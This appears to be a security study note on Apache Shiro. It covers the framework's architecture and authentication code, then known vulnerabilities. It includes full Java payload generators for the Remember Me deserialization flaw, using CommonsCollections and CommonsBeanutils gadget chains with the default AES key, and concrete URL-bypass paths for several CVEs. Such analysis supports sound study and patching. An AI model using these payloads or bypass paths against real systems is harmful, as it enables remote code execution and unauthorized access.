Shiro Security Introduction Architecture Shiro is a Java security framework under Apache that implements authentication, authorization, cryptography, session management.
Subject :
Subject is the object that interacts with the current application and is also the object that Shiro manages security for.
SecurityManager :
SecurityManager is the core of Shiro and is responsible for managing all subjects.
Authenticator :
Authenticate the user when they log in
Authorizer :
When accessing a function, the authorizer determines whether the user has the permission to operate this function.
Realm :
SecurityManager needs to obtain user data through Realm when performing security authentication and authorization.
SessionManager :
Shiro’s session management does not rely on the session of the Web container, so Shiro can be used in non-web applications, and can also centralize the session management of distributed applications to achieve single sign-on.
SessionDAO :
A set of interfaces for Session operations.
CacheManager :
Storing user data in cache.
Cryptography :
Shiro provides a set of encryption/decryption components to facilitate development.
Quick Start Experiment Setup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <dependencies > <dependency > <groupId > commons-logging</groupId > <artifactId > commons-logging</artifactId > <version > 1.1.3</version > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > <version > 1.3.2</version > </dependency > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 4.13.2</version > </dependency > </dependencies >
Authentication
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import org.apache.shiro.SecurityUtils;import org.apache.shiro.authc.UsernamePasswordToken;import org.apache.shiro.config.IniSecurityManagerFactory;import org.apache.shiro.mgt.SecurityManager;import org.apache.shiro.subject.Subject;import org.apache.shiro.util.Factory;import org.junit.Test;public class HelloShiro { @Test public void shiroLogin () { Factory<SecurityManager> factory = new IniSecurityManagerFactory ("classpath:shiro.ini" ); SecurityManager securityManager = factory.getInstance(); SecurityUtils.setSecurityManager((SecurityManager) securityManager); Subject subject = SecurityUtils.getSubject(); UsernamePasswordToken token = new UsernamePasswordToken ("admin" , "123456" ); subject.login(token); if (subject.isAuthenticated()) { System.out.println("Login Success" ); } else { System.out.println("Login Failure" ); } } }
User information such as username and password is encapsulated as a token
The Subject obtains the token and passes it to the SecurityManager
SecurityManager delegates token to Authenticator for identity authentication
Authenticator compares the token with Realm to verify the legitimacy of the token
Custom Realm We can customize realm to get user data.
1 2 3 4 5 package Service;public interface SecurityService { String findPasswordByLoginName (String loginName) ; }
1 2 3 4 5 6 7 8 9 10 package Service.Impl;import Service.SecurityService;public class SecurityServiceImpl implements SecurityService { @Override public String findPasswordByLoginName (String loginName) { return loginName; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package Realm;import org.apache.shiro.authc.*;import org.apache.shiro.authz.AuthorizationInfo;import org.apache.shiro.realm.AuthorizingRealm;import org.apache.shiro.subject.PrincipalCollection;import Service.SecurityService;import Service.Impl.SecurityServiceImpl;public class MyRealm extends AuthorizingRealm { @Override protected AuthorizationInfo doGetAuthorizationInfo (PrincipalCollection principalCollection) { return null ; } @Override protected AuthenticationInfo doGetAuthenticationInfo (AuthenticationToken token) throws AuthenticationException { String loginName = (String)token.getPrincipal(); SecurityService service = new SecurityServiceImpl (); String password = service.findPasswordByLoginName(loginName); if ("" .equals(password)||password==null ){ throw new UnknownAccountException ("User Does not exist" ); } return new SimpleAuthenticationInfo (loginName,password,getName()); } }
1 2 3 4 [main] definitionRealm =realm.MyRealmsecurityManager.realms =$definitionRealm
Authorization We need to overwrite the doGetAuthorizationInfo
function
1 2 3 4 5 6 7 8 9 10 11 @Override protected AuthorizationInfo doGetAuthorizationInfo (PrincipalCollection principalCollection) { String loginName = (String) principalCollection.getPrimaryPrincipal(); SecurityService securityService = new SecurityServiceImpl (); List<String> roles = securityService.findRoleByloginName(loginName); List<String> permissions = securityService.findPermissionByloginName(loginName); SimpleAuthorizationInfo authorizationInfo = new SimpleAuthorizationInfo (); authorizationInfo.addRoles(roles); authorizationInfo.addStringPermissions(permissions); return authorizationInfo; }
Overview Shiro’s security issues are mainly divided into two categories, one is the deserialization vulnerability, the other is the URL bypass vulnerability. The core of deserialization is the hard-coded AES key, and the core of URL bypass is actually the inconsistency between the URI obtained by Shiro and the actual accessed URI.
Remember Me Deserialization With CC 1 HashMap.readObject => HashMap.hash => key.hashCode TiedMapEntry.hashCode => TiedMapEntry.getValue => map.get(key) => LazyMap.get(TemplatesImpl) => InvokerTransformer.transform(TemplatesImpl) => newTransformer()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class GenePayLoad { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static byte [] CC11_PayLoad(byte [] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{clazzBytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("getClass" , null , null ); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, obj); Map expMap = new HashMap (); expMap.put(tiedMapEntry, "xxx" ); outerMap.clear(); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(expMap); oos.close(); return baos.toByteArray(); } public static void main (String[] args) throws Exception { byte [] codes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(CC11_PayLoad(codes), key); System.out.printf(ciphertext.toString()); } }
With CB 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public class CB1 { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode() }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); PriorityQueue pq = new PriorityQueue (comparator); setFieldValue(pq, "size" , 2 ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(pq, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(pq); oos.close(); AesCipherService aes = new AesCipherService (); byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key); System.out.printf(ciphertext.toString()); } }
CVE-2010-3863 Request URI ByPass Experiment Setup shiro <= 1.0.0
https://blog.csdn.net/Xxy605/article/details/125404334
Code Analyse The logic of URL validation is in PathMatchingFilterChainResolver$getChain
, but there is no standardization of URLs, which causes bypass.
The subsequent repair is to add the normalize method, handled the cases of //
, ./
and ../
CVE-2016-6802 Context Path ByPass Experiment Setup shrio <1.3.2
Code Analyse Let’s Debug the getContextPath
method
The call here is Tomcat’s built-in getContextPath
, and the method is to concatenate URIs from left to right until the current URI after normalization is the same as the context.
However, Shiro does not normalize the Context, which causes Shiro to not truncate the URI.
CVE-2020-* Request URI ByPass Experiment Setup shiro < 1.5.2
Exploit In CVE-2020-1957, /hello/*
can match the /hello/1
but /hello/1/
can bypass.
In CVE-2020-2957, /aaaa;/../hello/1
can bypass
In CVE-2020-11989, /;/../hello/1
can bypass
In CVE-2020-13933, /hello/%3B1
can bypass
Reference https://p4d0rn.gitbook.io/java/shiro/shiro